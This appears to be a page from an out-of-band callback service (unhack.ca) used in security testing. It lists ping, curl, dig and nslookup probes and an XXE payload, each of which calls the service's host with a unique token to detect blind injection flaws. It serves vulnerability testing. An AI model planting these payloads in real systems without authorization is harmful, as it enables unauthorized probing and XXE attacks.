$ ping -c1 -p 00f509d9184da1c3842dea1aa279af00 unhack.ca
 
$ curl http://unhack.ca/p/f509d9184da1c3842dea1aa279af
 
$ dig f509d9184da1c3842dea1aa279af @unhack.ca
 
$ dig f509d9184da1c3842dea1aa279af.ns.unhack.ca
 
C:\> nslookup f509d9184da1c3842dea1aa279af unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/f509d9184da1c3842dea1aa279af">]>
    <foo>&xxe;</foo>
Waiting for ping...